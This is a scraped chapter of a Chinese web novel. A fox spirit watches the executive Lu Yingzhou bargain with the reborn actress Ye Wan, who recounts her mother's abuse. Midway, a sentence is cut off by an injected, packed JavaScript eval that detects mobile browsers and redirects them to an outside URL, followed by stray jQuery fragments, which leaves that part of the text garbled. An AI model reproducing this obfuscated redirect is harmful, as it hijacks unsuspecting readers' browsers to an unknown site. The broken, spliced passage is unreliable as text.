默认冷灰
24号文字
方正启体

26. 第 26 章

作者:相楚人本书字数:K更新时间:
    涂山璎安静地待在陆映洲的怀里,静看事态的发展。


    嘶,小爪子还挺有劲。


    应激了?


    是了,小狐狸说到底还是狐狸,突然出现在陌生环境,看见陌生人,应激也正常。


    陆映洲恍然,轻声哄道:“不怕。”


    涂山璎眼珠转向他,不明白他什么意思。


    她不自在地动动爪子,哎……不好意思,爪子出来了。


    她有些慌乱地收回爪子,不由地舔了舔他的伤口。


    还好,伤口不严重,只是有点破皮。


    问题不大,舔舔,很快就好了。


    狐狸的舌头触感,还真是特别。


    细细听的话,能听出一点有砂纸打磨的声音,只是力道很轻,就像是砂纸轻轻拂过一样。


    还真是……可爱。


    这样特殊的亲近,陆映洲有点舍不得放过,贪心地把手往她面前送了送。


    涂山璎舔舐的动作一顿,仔细看了看,不错,伤口已经不红了。


    她拍拍他的手,抬眼瞅他。


    看看,狐狸祖传的治疗方法,是不是立竿见影?


    察觉到手上的异常,陆映洲立刻收回了手,“谢谢。”


    一人一狐狸,自成一个圈子,叶晚几次想要开口,都插不进去。


    “汪汪汪。”


    一声突然出现的狗叫,终于让陆映洲抬起了头,“叶小姐?”


    他来帮忙,总不能一直站在门口吧。


    “……”


    叶晚心累,是她不想搭话吗?是她插不进话啊。


    沉默了片刻,她侧开身体,“请进。”


    谁知她刚一让开,一只黑白色的边牧,吐着舌头,摇着尾巴,脚步欢快地跑了过来。


    “汪汪汪!”


    人,欢迎!


    “汪。”


    小美。


    涂山璎眯了眯狐狸眼,试探地叫了一声。


    “汪汪汪。”


    你怎么知道我的名字?


    破案了,小白狗所说的小美,就是它。


    涂山璎心情复杂,她记得,第一次听说它,是陆映洲突然出差的那段时间。


    第二次听说,就是她在这里,遇见陆映洲的那一天。


    也就是说……


    “汪汪汪。”


    下来玩啊。


    边牧自来熟地邀请道。


    “汪。”


    来了。


    涂山璎叫了一声,就挣扎着要下地。


    陆映洲却不懂她的意思,反而紧扣着她不松手,后退了几步,“别怕,我在。”


    涂山璎身体一僵,她怎么忘了,他不会狐狸语。


    她回头看了他一眼,他眼里的关心太多,以至于她舍不得他担心。


    她长长地出了一口气,好吧,不下地就不下吧。


    叶晚也以为它是应激了,急忙抱住想再次开口的边牧,脸都羞红了,歉意地说道:“不好意思,我这就把它关起来。”


    说着,她就抱着边牧,往屋里走去。


    边牧不轻,以她的小身板,抱起来还有些吃劲。


    涂山璎眼看着她半抱半拖,费了老大劲,才把边牧弄走。


    边牧委屈,它好不容易出来,怎么又要回去了?


    它不停地挣扎,试图逃过一劫。


    可是,胳膊拗不过大腿,就算它再怎么不甘心,还是被关进了笼子。


    涂山璎目送它离开,只能给它一个爱莫能助地眼神。


    叶晚不仅关上笼子,还认真的上了一个锁。


    任凭边牧把锁挠得哗哗作响,笼子门也纹丝不动。


    陆映洲抱着涂山璎没松手,就这么抱着她坐在了沙发上。


    有了边牧打岔,叶晚紧绷的情绪稍缓,熟练地准备待客,“陆总,喝咖啡行吗?”


    在她的记忆里,他一直都在喝咖啡。


    上班的时候,喝咖啡,请客的时候,喝咖啡,加班的时候,还是咖啡。


    问他咖啡,总之不会出错。


    陆映洲无所谓地回道:“可以。”


    当他真的确认要喝咖啡的时候,叶晚心立即就安定了下来,“好的,稍等。”


    很快,她就给陆映洲上了一杯香味浓郁的咖啡,她自己则是无色无味的白开水。


    涂山璎看着冒着香气的咖啡,心情有些低落。


    他爱喝咖啡,她就给他准备上好的咖啡豆,好像随时准备迎接他的到来。


    和她相比,她这个正式女朋友,好像有些失职了。


    在她的眼里,他不挑嘴,给什么就吃什么。


    所以,她喜欢什么,她就给他准备什么。


    显然,这是不对的。


    人的心都是偏的,怎么可能没有好恶。


    她怎么能这么自私,把自己的爱好,强加到他的身上。


    涂山璎越想,脑袋就越低,她像犯错的小孩一样,下意识地把自己蜷缩起来。


    她的脑袋垂得很低,陆映洲险些没抱住。


    幸好他臂力了得,及时将她抱回怀里。


    “累了?”他轻轻抚着她的毛毛,低声询问。


    就当她累了吧。


    涂山璎小幅度地点了点头,把头埋进他的怀里,装鸵鸟。


    “累了,就睡吧,办完事我就回去。”


    陆映洲一边说着,一边顺着她的毛。


    他这样子,不知道的,还以为他在哄心上人呢。


    叶晚看得愣神,端起的水杯拿起,又放回去。


    她眼角余光看见茶几上手机上的直播,眼神越发坚定,“陆总,只要你帮我这一次,我愿意付出任何代价。”


    她已经很努力了,努力的工作,努力的从大山里出来,努力的把妈妈救出来。


    她能想到的,能做到的,她都做了。


    她真的没办法了。


    可是,他们就像是阴魂不散的恶鬼一样,紧追着他们母女不放。


    若是不借助他的力量,她很可能就会重蹈覆辙。


    当然,她不会让他平白付出,她会给出报酬的。


    涂山璎耳朵不停地抖动,情敌地雷达,彻底拉响。


    听听,听听,什么叫任何代价?


    若是对她有想法的,可以要求她以身体为代价。


    若是对她没想法的,也可以要求其他。


    这还真是一句,进退有度的许诺呢。


    陆映洲会接招吗?


    涂山璎悄悄地打量着他的神色,哪知一抬眼,就对上了他的视线。


    在他眼里看见自己的那一刻,涂山璎就明白,他应该不会接招。


    至少,在她面前,他不会接招。


    陆映洲唇角微扬,状似不经意地说道:“你能付出什么?”


    叶晚张了张嘴,想说她什么都可以。


    可是,话到嘴边了,她又胆怯地闭了嘴。


    不知道怎么回事,这个念头在她脑海里闪过的同时,她脑海里却闪过另一个人的脸。


    “叶晚,你是我见过的最有天赋的女孩,未来,你一定会成为一个震惊所有人的大明星。”


    “嗯?”陆映洲一声冷淡的疑惑声,惊得叶晚一身冷汗。


    叶晚挺直腰背,立刻接话道:“我有信心,在十年,不,五年,五年之内,夺得影后奖杯。”


    上一世,她一出道,就她就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540340|203530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被提名了。


    重生归来,她的起点更高,她的星途,只会更好。


    陆映洲继续发问:“然后呢?”


    她本就是他公司的,获得影后不是理所应当的吗。


    对他有什么好处?


    哦,能挣钱。


    可是,就算他不帮她,她也会因为她妈妈的高昂医药费,努力挣钱的。


    所以,这句话在他看来,就是一句刺裸裸的白嫖。


    他不要。


    他是商人,又不是圣人。


    若是看见谁有难都要帮,那他还活不活了?


    叶晚脸上的血色渐渐褪去,“若是,若是……”


    若是她出一个高价,能不能获得他的帮助呢?


    她打量着他的神色,想要从他的脸上,看出些什么。


    可是,他看过来的目光太冷了,冷到她看不到任何的希望。


    叶晚垂下头,舔了舔唇,“若是我出五千万,能请你帮我一次吗?”


    五千万,是她上辈子的所有存款。


    重生后,她应该能在五年内挣到。


    “五千万,你可以请顶级律师。”


    若是律师能解决的事,她就不会求他了。


    上辈子,她就是天真地以为,只要请了律师,事情就能得到解决。


    可是,她得到了什么呢?


    母亲离世,自己的含恨而终。


    叶晚摇摇头,“这条路不行的。”


    陆映洲:“你试过?”


    叶晚没答,反而说起了她家里的情况。


    爷爷是村子的混子,横行村里多年,无赖又蛮横,一有不顺心,就会打奶奶。


    奶奶是他买回去的媳妇,他们在一起生活多年,奶奶早就成了他的伥鬼。


    妈妈就是奶奶买回去,给爸爸做媳妇的。


    奶奶过得不好,也见不得妈妈有一点好。


    妈妈稍有一点不如她的意,她就会说妈妈不老实,让爸爸打她。


    哦,对了,龙生龙,凤生凤,老鼠生的儿子会打洞,爸爸完美地继承了爷爷的坏习惯,一有不顺心,就打妈妈。


    妈妈曾今可是凤凰啊,她当然逃过。


    可惜,都失败了。


    曾经,妈妈看奶奶被爷爷打得可怜,以为她们同病相怜,逃跑时有心带她离开。


    可是,奶奶转头就把这事告诉爸爸和爷爷。


    他们发了很大的脾气,妈妈伤得很重,好几个月都下了床。


    当然,一般的殴打,当然不至于如此。


    可是,奶奶会在妈妈快好的时候,故意找茬,让爸爸再打她一顿啊。


    伤上加伤,那一次,妈妈真地躺了很久。


    ……


    叶晚说着说着,眼泪就顺着脸颊落了下来。


    她哭得泣不成声,太痛了,她不想再说了。


    可是,她想不到,除了博得他的同情以外,她还有什么办法能争取到他的帮助。


    好不容易才把妈妈救出来,她不想功亏一篑。


    妈妈过得很苦,好不容易苦尽甘来,苦尽甘来……啊。


    不得不说,叶晚说的故事很有感染力。


    看,他的小狐狸都听得眼泪花花的。


    陆映洲轻轻拭去她的眼泪,“我需要一个女导演。”


    临到年底,导演可给他找了不少的事,他有点腻了。


    还有,他答应过顾昀笙,帮她这一次。


    但是,他又没说,他不可以一鱼多吃。


    他不仅要他的报酬,他也要她的报酬。


    既然顾昀笙总说,她就是为了演艺而生的。


    那他倒要看看,她能走到哪一步。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)